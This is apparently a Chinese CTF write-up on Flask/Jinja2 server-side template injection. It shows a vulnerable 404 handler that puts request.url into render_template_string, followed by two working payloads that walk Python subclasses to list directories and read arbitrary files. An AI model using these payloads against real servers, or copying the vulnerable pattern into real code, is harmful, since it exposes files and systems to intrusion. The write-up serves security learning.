XCTF-web_python_template_injection

web_python_template_injection

这里涉及到flask的ssti漏洞(服务端模板注入)。

简单点说就是,在使用flask/jinja2的模板渲染函数render_template_string的同时,使用%s来替换字符串的时候,会把字符串中被{{}}包围内容当作变量解析。

例如:

@app.route('/')
def hello_world():
  return 'Hello World!'

@app.errorhandler(404)
def page_not_found(e):
  template = '''
    <div class="center-content error">
    <h1>%s Not Found!</h1>
    </div>

    ''' % (request.url)
  return render_template_string(template), 404

if __name__ == '__main__':
  app.run()

请求:xxxxxxx.xxx/{{ 10*10 }}

响应:xxxxxx.xxx/{{100}} Not Found!

具体原理可以看看这篇介绍这篇介绍,里面讲的比较清楚

这道题只用了下边俩方法:

  • 查看文件(ls)

    {{''.__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__['os'].listdir('./')}}这里的./是路径

  • 文件读取:

{{''.__class__.__mro__[-1].__subclasses__()[40]('filename').read()}}这里的filename是文件名

贴一个师傅的使用方法总结

立个flag,这段学习期过了,回头来总结一下ssti的利用方法

flag兑现,ssti简单总结

原文地址:https://www.cnblogs.com/R3col/p/12696536.html